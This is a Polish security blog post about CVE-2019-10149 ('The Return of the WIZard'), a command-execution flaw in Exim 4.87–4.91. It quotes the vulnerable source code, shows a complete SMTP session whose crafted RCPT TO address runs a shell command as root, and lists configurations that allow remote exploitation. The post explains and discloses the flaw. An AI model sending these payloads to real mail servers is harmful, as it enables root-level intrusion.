NFsec Logo

Powrót Czarodzieja – czyli serwer pocztowy Exim narażony na lokalne i zdalne ataki

13/06/2019 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 697, ilość słów: 832)

K

rytyczna luka bezpieczeństwa została wykryta przez badaczy z Qualys i występuje w kilku wersjach oprogramowania agenta pocztowego Exim (ang. Mail Transfer Agent). Umożliwia ona na lokalne oraz zdalne ataki nieuwierzytelnionym użytkownikom za pomocą wykonywania dowolnych poleceń (nie mylić z dowolnym wykonywaniem kodu) na serwerach pocztowych. Luka jest obecna w wersji od 4.87 do 4.91 i jest spowodowana niewłaściwą weryfikacją adresów odbiorców w funkcji deliver_message() (źródło znajduje się w pliku: /src/deliver.c):

6122 #ifndef DISABLE_EVENT
6123       if (process_recipients != RECIP_ACCEPT)
6124         {
6125         uschar * save_local =  deliver_localpart;
6126         const uschar * save_domain = deliver_domain;
6127
6128         deliver_localpart = expand_string(
6129                       string_sprintf("${local_part:%s}", new->address));
6130         deliver_domain =    expand_string(
6131                       string_sprintf("${domain:%s}", new->address));
6132
6133         (void) event_raise(event_action,
6134                       US"msg:fail:internal", new->message);
6135
6136         deliver_localpart = save_local;
6137         deliver_domain =    save_domain;
6138         }
6139 #endif

Ponieważ funkcja expand_string() rozpoznaje rozszerzony element w postaci: ${run {<polecenie> <argumenty>}} oraz new->address to adres odbiorcy poczty, pod który jest dostarczana wiadomość – lokalny napastnik może po prostu wysłać wiadomość na adres w postaci: ${run { ... }}@localhost (gdzie localhost jest jedną z domen zdefiniowanych w opcji: local_domains) wykonując przesłane polecenie z prawami administratora (opcja deliver_drop_privilege ustawiona jest na false w standardzie).

Przykład ataku lokalnego:

john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory

john@debian:~$ nc 127.0.0.1 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31

.
250 OK id=1hTnYa-0000zp-8b
QUIT
221 debian closing connection

john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied

root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)

W powyższym przykładzie wysyłanych jest więcej nagłówków "Received:" (domyślnie 30) niż zakłada opcja received_headers_max, aby przestawić zmienną process_recipients na wartość RECIP_FAIL_LOOP i doprowadzić do wykonania ataku w podatnym kodzie. Nieprawidłowe znaki w adresie odbiorcy w postaci ukośników są unikane za pomocą ukośników wstecznych (ang. backslashes), które są interpretowane przez funkcje expand_string()

Możliwość ataku zdalnego:

Aby zdalnie wykorzystać tę lukę w domyślnej konfiguracji osoba atakująca musi utrzymać połączenie z serwerem pocztowym podatnym na atak przez 7 dni (przesyłając jeden bajt co kilka minut) – szczegóły dlaczego ten atak musi zostać przeprowadzony w tej formie znajdziemy tutaj. Jednak ze względu na ogromną złożoność kodu serwera Exim może istnieć szybsza metoda eksploatacji tego błędu. Wcześniejsza metoda lokalnego ataku nie działa zdalnie, ponieważ opcja typu ACL (lista kontroli dostępu – access control list) verify = recipient w domyślnej konfiguracji wymaga, aby adres odbiorcy (ta część poprzedzająca znak “@”) była nazwą lokalnego / wirtualnego użytkownika:

john@debian:~$ nc 192.168.56.101 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400
HELO localhost
250 debian Hello localhost [192.168.56.101]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
550 Unrouteable address

Jeśli chodzi o niestandardowe konfiguracje to może dojść do sytuacji, w których lokalna metoda będzie również działała na zdalne systemu – muszą być tylko spełnione niektóre warunki:

  • Opcja verify = recipient została usunięta ręcznie z konfiguracji przez administratora (w celu uniemożliwienia enumeracji użytkowników poprzez polecenie: RCPT TO:.
  • Jeśli serwer został skonfigurowany tak, aby rozpoznawał tagi w lokalnej części adresu odbiorcy (na przykład: local_part_suffix = +* : -*) wówczas agresor może zdalnie wykorzystać atak ustawiając RCPT TO: na wartość: nobody+${run {...}}@localhost, gdzie nobody to nazwa lokalnego użytkownika.
  • Jeśli serwer został skonfigurowany do przekazywania poczty do domeny zdalnej, jako drugorzędny MX (ang. Mail eXchange) – wtedy napastnik może po prostu ponownie użyć formatu RCPT TO: w formie: ${run {...}}@nfsec.pl, gdzie nfsec.pl jest jedną z domen skonfigurowanych w ramach opcji: relay_to_domains.

Badacze nazwali błąd CVE-2019-10149 “Powrotem Czarodzieja” (ang. The Return of the WIZard) nawiązując w ten sposób do podatności związanych z poleceniami WIZ oraz DEBUG z 1999 roku, które umożliwiały atakującemu wykonywanie poleceń jako administrator na serwerach, na których działała niezabezpieczona wersja agenta do przesyłania poczty – Sendmail.

Więcej informacji: CVE-2019-10149, Millions of Exim Mail Servers Exposed to Local, Remote Attacks

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , ,

Komentowanie tego wpisu jest zablokowane.